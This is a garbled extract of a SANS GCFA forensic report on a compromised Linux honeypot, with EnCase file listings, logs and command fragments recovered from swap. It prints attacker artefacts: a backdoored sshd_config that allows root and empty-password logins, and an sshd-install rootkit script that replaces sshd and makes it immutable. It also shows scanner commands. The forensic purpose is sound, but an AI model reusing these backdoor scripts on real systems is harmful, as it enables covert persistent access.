xfc\xfd\xfe\xff"
EnCase Computer Analysis Report

Sans GCFA Cert Assignment 050

EnCase Computer Analysis Report
EnCase Computer Analysis Report

Page 265

© SANS Institute 2004, Author retains full rights.

[Signatures and data redacted]

EnCase Computer Analysis Report
EnCase Computer Analysis Report

EnCase Computer Analysis Report

© SANS Institute 2004, Author retains full rights.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report

Page 271

102) Name  p.sshd
Description  File
Full Path  /tmp/s/p.sshd
Entry Modified  06/09/03 03:25:20PM
Last Accessed  06/09/03 03:25:20PM
Last Written  06/09/03 03:25:20PM
Hash Value  9217b7b6c8b91e9ee6f5a9883b9edebc
chmod 0755 popauth
echo Your Dir 9D, Go There And Type ./kds or portmap To Ins
echo done !
### EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>popauth</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\popauth</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>9580542311468b426d76ada43f609be9</td>
<td>36,864</td>
<td>36,415</td>
</tr>
<tr>
<td>pstree</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\pstree</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>a2683199c868fcca5ec527f95d0ec879</td>
<td>22,528</td>
<td>21,943</td>
</tr>
<tr>
<td>sense</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\sense</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/07/02 11:37:18AM</td>
<td>464dc23c477c43418eb8d3ef087065</td>
<td>4,096</td>
<td>4,060</td>
</tr>
<tr>
<td>ssh_host_key</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.sshd\ssh_host_key</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>ec411d91b39b43124e91dd1670658c0</td>
<td>1,024</td>
<td>541</td>
</tr>
<tr>
<td>sshd_config</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.sshd\sshd_config</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>44fd911b39b43124e91dd1670658c0</td>
<td>1,024</td>
<td>498</td>
</tr>
</tbody>
</table>

© SANS Institute 2004,
As part of GIAC practical repository. Author retains full rights.
# This is ssh server systemwide configuration file.
# Do not delete this file is very important for your system.conf

# Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
Fascistlogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

109) Name  sshd-install
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\sshd\sshd-install
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:11:58PM
Last Written  11/26/02 09:40:32PM
Hash Value  2eebbaf9afee6267d55470c72f33a700
Physical Size  2,048
Logical Size  1,053

Comment: sshd-install script

#!/bin/sh
rm -rf /etc/ssh
mkdir -p /etc/ssh >>../install.log 2>&1
cp -f init.sshd /etc/rc.d/init.d/sshd
```bash
if [-x /sbin/chkconfig ]; then
/sbin/chkconfig --add sshd >>../install.log 2>&1
else
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc0.d/K25sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc2.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc3.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc4.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc5.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc6.d/K25sshd
fi

if [ ! -f /etc/ssh/ssh_host_key ]; then
  cp -f ssh_host_key /etc/ssh >>../install.log 2>&1
fi

if [ ! -f /etc/ssh/ssh_host_key ]; then
  cp -f ssh_host_key /etc >>../install.log 2>&1
fi

if [ ! -x /usr/sbin/sshd ]; then
  cp -f sshd /usr/sbin >>../install.log 2>&1
fi

chattr +iau /etc/rc.d/init.d/sshd /usr/sbin/sshd >../install.log 2>&1
/etc/rc.d/init.d/sshd restart >>../install.log 2>&1
```
the functions library is called by the networks script here.

```
./etc/init.d/functions
```
EnCase Computer Analysis Report

Volume

<table>
<thead>
<tr>
<th>Feature</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File System</td>
<td>EXT3</td>
</tr>
<tr>
<td>Sectors per cluster</td>
<td>2</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>529,137</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>270,917,632 bytes (258.4MB)</td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>264,568</td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>219,693,056 bytes (209.5MB)</td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>214,544</td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>214,544 bytes (48.9MB)</td>
</tr>
<tr>
<td>Volume Name:</td>
<td></td>
</tr>
<tr>
<td>Volume Offset:</td>
<td>11,551,743</td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /var
EnCase Computer Analysis Report
Sans GCFA Cert Assignment: EnCase Computer Analysis Report

httpd access log for June 27, 2003

192.168.2.15 — [27/Jun/2003:14:10:34 -0600] "GET /poweredby.png HTTP/1.1" 200 21154
192.168.2.15 — [27/Jun/2003:14:10:34 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 2326
XXX.XXX.XXX.ca — [27/Jun/2003:17:35:44 -0600] "GET / HTTP/1.1" 200 2890
XXX.XXX.XXX.ca — [27/Jun/2003:17:35:44 -0600] "GET /poweredby.png HTTP/1.1" 200 21154
XXX.XXX.XXX.ca — [27/Jun/2003:17:35:44 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 2326

httpd access log for June 29, 2003

XXX.XXX.XXX.com — [28/Jun/2003:08:46:23 -0600] "HEAD / HTTP/1.0" 200 0
XXX.XXX.XXX.202 — [29/Jun/2003:02:36:53 -0600] "HEAD / HTTP/1.0" 200 0

httpd error log for June 29, 2003

[Sun Jun 29 04:02:28 2003] [notice] Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 configured -- resuming normal operations
[Sun Jun 29 04:02:28 2003] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sun Jun 29 04:02:28 2003] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Sun Jun 29 15:06:18 2003] [error] [client XXX.XXX.XXX.XXX.108.64] client sent HTTP/1.1 request without h
[Sun Jun 29 15:06:42 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.108.64.0) (OpenSSL library error follows)
[Sun Jun 29 15:07:50 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.108.64.0) (OpenSSL library error follows)
[Sun Jun 29 15:20:54 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.108.64.0) (OpenSSL library error follows)
[Sun Jun 29 15:25:14 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.108.64.0) (OpenSSL library error follows)
[Sun Jun 29 15:28:28 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.108.64.0) (OpenSSL library error follows)
[Sun Jun 29 15:36:49 2003] [error] [client 193.109.122.5] request failed: error reading the head

Mail file for root. Shows Sementation faults and cron job problems.

From root Fri Jun 27 04:02:02 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.16/8.11.16) id h5RZ22S06825
for root; Fri, 27 Jun 2003 04:02:02 -0600
Date: Fri, 27 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-Id: <200306271002.22S06825@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

############################ LogWatch 2.6 Begin############################
---------------------
sendmail Begin
----------------------
334 bytes transferred
1 messages sent
----------------------
sendmail End

############################ LogWatch End############################

From root Sat Jun 28 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5SA22AO9057
for root; Sat, 28 Jun 2003 04:02:02 -0600
Date: Sat, 28 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-ID: <200306281002.h5SA22A09057@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

############################ LogWatch 2.6 Begin############################
---------------------
ModProbe Begin
------------------------
Can't locate these modules:
  0a: 1 Time(s)
----------------------
ModProbe End
--------
 sendmail Begin
----------------------
334 bytes transferred
1 messages sent
----------------------
sendmail End

 Homedev Begin
------------------------
Failed logins from these:
  userid1/password from 192.168.2.1: 1 time(s)
  userid1/password from 192.168.2.13: 1 time(s)
Users logging in through sshd:
  userid1 logged in from 192.168.2.1 using password: 1 Times(s)
  userid1 logged in from 192.168.2.13 using password: 1 Time(s)
  root logged in from 192.168.2.121 using password: 2 Times(s)
----------------------
 Homedev End

 From root Sat Jun 28 04:04:12 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5SA24a09068
for root; Sat, 28 Jun 2003 04:02:04 -0600
Date: Sat, 28 Jun 2003 04:02:04 -0600
Message-Id: "<200306281002.h5SA24a09068@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5TA22E10471
for root; Sun, 29 Jun 2003 04:02:02 -0600
Date: Sun, 29 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-Id: "<200306291002.h5TA22E10471@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

################## LogWatch 2.6 Begin #####################
---------------------
sendmail Begin ------------------------
1336 bytes transferred
2 messages sent
----------------------
sendmail End -------------------------

###################### LogWatch End ########################

From root Sun Jun 29 04:03:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5TA24210482
for root; Sun, 29 Jun 2003 04:02:04 -0600
Date: Sun, 29 Jun 2003 04:02:04 -0600
Message-Id: "<200306291002.h5TA24210482@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 23:56:11 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5U5r2P27612
for root; Sun, 29 Jun 2003 23:53:02 -0600
Date: Sun, 29 Jun 2003 23:53:02 -0600
Message-Id: <200306300553.h5U5r2P27612@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> /usr/lib/sa/sa2 -A
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>

/usr/lib/sa/sa2: line 14: 27610 Segmentation fault find /var/log/sa
/var/log/sa/find -name 'sar??' -o -name 'sa??' -mtime +7 -exec rm -f {} \

From root Mon Jun 30 04:05:09 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
Message-Id: <200306301002.h5UA24x28029@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:
Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

Volume swap1

The following are bookmarks from Volume swap1
clusters of interest from swap

root: XXX.XXX.XXX.ca

MrIdiot

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin
PATH=/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/bin:/usr/X11/XAUTHORITY=/root/.xauthjNkUo
PATH=/bin:

PATH=/root/.bashrc

readline stdin

more syslog.conf

ls -l

cd /var/log

tail messages

ls -l

vi /etc/syslog.conf

cd /var/log

tail boot.log

ifconfig -a

cd /usr/

more cron

cd asm

"033]0;${USER}@${HOSTNAME%%.*}:${PWD/$HOME/~}:"007": *};${PWD/$HOME/-}033"

./sys XXX.XXX.49.137

./samba -d 0 -S 192.168.2.*

cp /etc/syslog.conf kld.conf

chown root:root kld.conf

./samba -d 0 -S XXX.XXX.5.*

Files infected with Jac.8759 virus

Files infected by the Linux.Jac.8759 virus
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

148) Name rmdir
Description File
Full Path Sans GCFA Cert Assignment:Linux 7.3 Honey pot system: /bin/rmdir
Entry Modified 06/29/03 03:22:10PM
Last Accessed 06/30/03 04:50:00PM
Last Written 03/24/02 07:23:18PM
Hash Value 9ec6c46ce54bdced26d5deff0db0b78
Physical Size 20,480
Logical Size 19,647

149) Name ash.static
Description File
Full Path Sans GCFA Cert Assignment:Linux 7.3 Honey pot system: /bin/ash.static
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 06/24/01 08:08:19PM
Hash Value a37e77f1a768a2dbcfef97f44f37a46aa
Physical Size 481,280
Logical Size 481,251

150) Name loadkeys
Description File
Full Path Sans GCFA Cert Assignment:Linux 7.3 Honey pot system: /bin/loadkeys
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 04/15/02 08:05:51AM
Hash Value fe4f44934ee081482eafd32028799799
Physical Size 82,944
Logical Size 82,911

151) Name bzip2recover
Description File
Full Path Sans GCFA Cert Assignment:Linux 7.3 Honey pot system: /usr/bin/bzip2recover
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 5d50b7a01bbf832876e7092dc91d70f4
Physical Size 16,384
Logical Size 15,624

152) Name gencat
Description File
Full Path Sans GCFA Cert Assignment:Linux 7.3 Honey pot system: /usr/bin/gencat
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 84492adb4dddecff3e3c8a30c99725b
Physical Size 20,480
Logical Size 18,040

153) Name gencat
Description File
Full Path Sans GCFA Cert Assignment:Linux 7.3 Honey pot system: /usr/bin/gencat
Entry Modified 06/29/03 11:53:01PM

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report
Sans GCFA Cert Assignment

Last Accessed  06/29/03 11:53:01PM
Last Written   06/29/03 11:53:01PM
Hash Value     84492adb4dddeecff3e3c8a30c99725b
Physical Size  20,480
Logical Size   18,040

154) Name      getent
Description    File
Full Path      Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\getent
Entry Modified 06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written   06/29/03 11:53:01PM
Hash Value     f1a14ddaf6053137dbda6798ee90f5a9
Physical Size  20,480
Logical Size   19,240

155) Name      iconv
Description    File
Full Path      Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\iconv
Entry Modified 06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written   06/29/03 11:53:01PM
Hash Value     cfaa21a7bab79204868fa726a7870e6
Physical Size  53,248
Logical Size   51,004

156) Name      lddlibc4
Description    File
Full Path      Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lddlibc4
Entry Modified 06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written   06/29/03 11:53:01PM
Hash Value     2e4e896f0ea9192ef5d94673d79dd403
Physical Size  8,192
Logical Size   7,800

157) Name      localedef
Description    File
Full Path      Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedef
Entry Modified 06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written   06/29/03 11:53:01PM
Hash Value     bb5be07bef4f5b4d281cf00e5a4fdcb3
Physical Size  299,008
Logical Size 298,828

159) Name  localedef
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedef
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  bb5be07bef4f5b4d281cf00e5a4fdbc3
Physical Size  299,008
Logical Size 298,828

160) Name  sprof
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\sprof
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  4206b74dd02af036ee754efe56898b3b
Physical Size  24,576
Logical Size 20,552

161) Name  db1_dump185
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  174712fef4fb412ad992e992e3a35182
Physical Size  12,288
Logical Size 11,525

162) Name  lsattr
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  56853d1f05a0a1562c83811c02644930
Physical Size  12,288
Logical Size 9,684

164) Name  lsattr
Description  File
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

### EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
</tbody>
</table>

#### 165) eject

- **Description**: File
- **Full Path**: /usr/bin/eject
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 85042620b5dd45a67c0280c9a3751793
- **Physical Size**: 28,672
- **Logical Size**: 25,812

#### 166) eject

- **Description**: File
- **Full Path**: /usr/bin/eject
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 85042620b5dd45a67c0280c9a3751793
- **Physical Size**: 28,672
- **Logical Size**: 25,812

#### 167) file

- **Description**: File
- **Full Path**: /usr/bin/file
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 63a4be81d1843be376f98b0986ff836a
- **Physical Size**: 49,152
- **Logical Size**: 48,674

#### 168) file

- **Description**: File
- **Full Path**: /usr/bin/file
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM
- **Hash Value**: 63a4be81d1843be376f98b0986ff836a
- **Physical Size**: 49,152
- **Logical Size**: 48,674

#### 169) ksymoops

- **Description**: File
- **Full Path**: /usr/bin/ksymoops
- **Entry Modified**: 06/29/03 11:53:01PM
- **Last Accessed**: 06/29/03 11:53:01PM
- **Last Written**: 06/29/03 11:53:01PM

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>ksymoops</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\ksymoops</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>0d9ddca9a28dccc0313ac4012f20c6c31</td>
<td>450,560</td>
<td>448,456</td>
</tr>
<tr>
<td>a2p</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\a2p</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>5da1e3d5a9112696f1f17b6c2256240e</td>
<td>110,592</td>
<td>106,681</td>
</tr>
<tr>
<td>basename</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\basename</td>
<td>06/08/02 10:02:12AM</td>
<td>04/03/03 04:50:02PM</td>
<td>04/03/03 04:50:02PM</td>
<td>f3f3e1ec45e97997a65be3b05346f9</td>
<td>19,456</td>
<td>18,879</td>
</tr>
<tr>
<td>arch</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\arch</td>
<td>04/03/03 04:50:02PM</td>
<td>04/03/03 04:50:02PM</td>
<td>04/03/03 04:50:02PM</td>
<td>c35e95208ff892a4681492f554cef4</td>
<td>12,288</td>
<td>11,463</td>
</tr>
<tr>
<td>ash.static</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ash.static</td>
<td>06/24/01 08:08:19PM</td>
<td>06/24/01 08:08:19PM</td>
<td>06/24/01 08:08:19PM</td>
<td>a37e77f1a768a2dbcefe97144f37a46aa</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>-------------</td>
<td>-------------</td>
<td>-----------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>---------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>aumix-minimal</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\aumix-minimal</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>02/26/02 04:20:56AM</td>
<td>77b6900f314a7e6c8e16c21291102c1a</td>
<td>19,456</td>
<td>19,071</td>
</tr>
<tr>
<td>kill</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\kill</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:23PM</td>
<td>4e1659b52917e4ba4225086ad43b3159</td>
<td>17,408</td>
<td>16,523</td>
</tr>
<tr>
<td>mv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mv</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>d45155beffebbdc7ac6d26a7add84d3a</td>
<td>53,248</td>
<td>52,255</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
<tr>
<td>sfxload</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sfxload</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
</tbody>
</table>
**EnCase Computer Analysis Report**

Sans GCFA Cert Assignment\EnCase Computer Analysis Report

| Last Accessed | 06/30/03 04:50:02PM |
| Last Written  | 06/25/01 08:57:46AM |
| Hash Value    | bdd6746f64b16441fb7cea2291a9e89 |
| Physical Size | 56,320 |
| Logical Size  | 55,539 |

181) Name  Hard Link Data 1
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1
Entry Modified  06/29/03 03:22:11PM
Last Accessed  06/30/03 04:50:01PM
Last Written  03/13/02 05:55:33PM
Hash Value  6a91a25fc509e033def24687e78ce903
Physical Size  72,704
Logical Size  72,314

182) Name  hdx1
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1
Entry Modified  06/29/03 03:22:11PM
Last Accessed  06/29/03 03:22:11PM
Last Written  06/29/03 03:22:11PM
Hash Value  6a91a25fc509e033def24687e78ce903
Physical Size  728
Logical Size  0

183) Name  rpm
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rpm
Entry Modified  06/29/03 03:22:11PM
Last Accessed  06/30/03 04:50:02PM
Last Written  04/18/02 03:35:59PM
Hash Value  20e5862effe2cb1559ebbe0c60c4176c
Physical Size  1,744,896
Logical Size  1,744,171

184) Name  Hard Link Data 1
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1
Entry Modified  06/29/03 03:22:11PM
Last Accessed  06/30/03 04:50:01PM
Last Written  03/13/02 05:55:33PM
Hash Value  6a91a25fc509e033def24687e78ce903
Physical Size  72,704
Logical Size  72,314

185) Name  sort
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sort
Entry Modified  06/29/03 03:22:11PM
Last Accessed  06/30/03 04:50:01PM
Last Written  03/22/02 05:02:03PM
Hash Value  2785d86cfdb94e07f132035bb2d20099
Physical Size  64,512
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>stty</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\stty</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>f25eed928a929184a6bcc6c12b4adf75</td>
<td>37,888</td>
<td>37,215</td>
</tr>
<tr>
<td>tar</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\tar</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/09/02 11:39:13AM</td>
<td>36b826c3993647491db9c5e316ae81b2</td>
<td>164,864</td>
<td>163,999</td>
</tr>
<tr>
<td>sync</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sync</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>641c8bf6468f700017add2921fa60d4c</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>tcsh</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\tcsh</td>
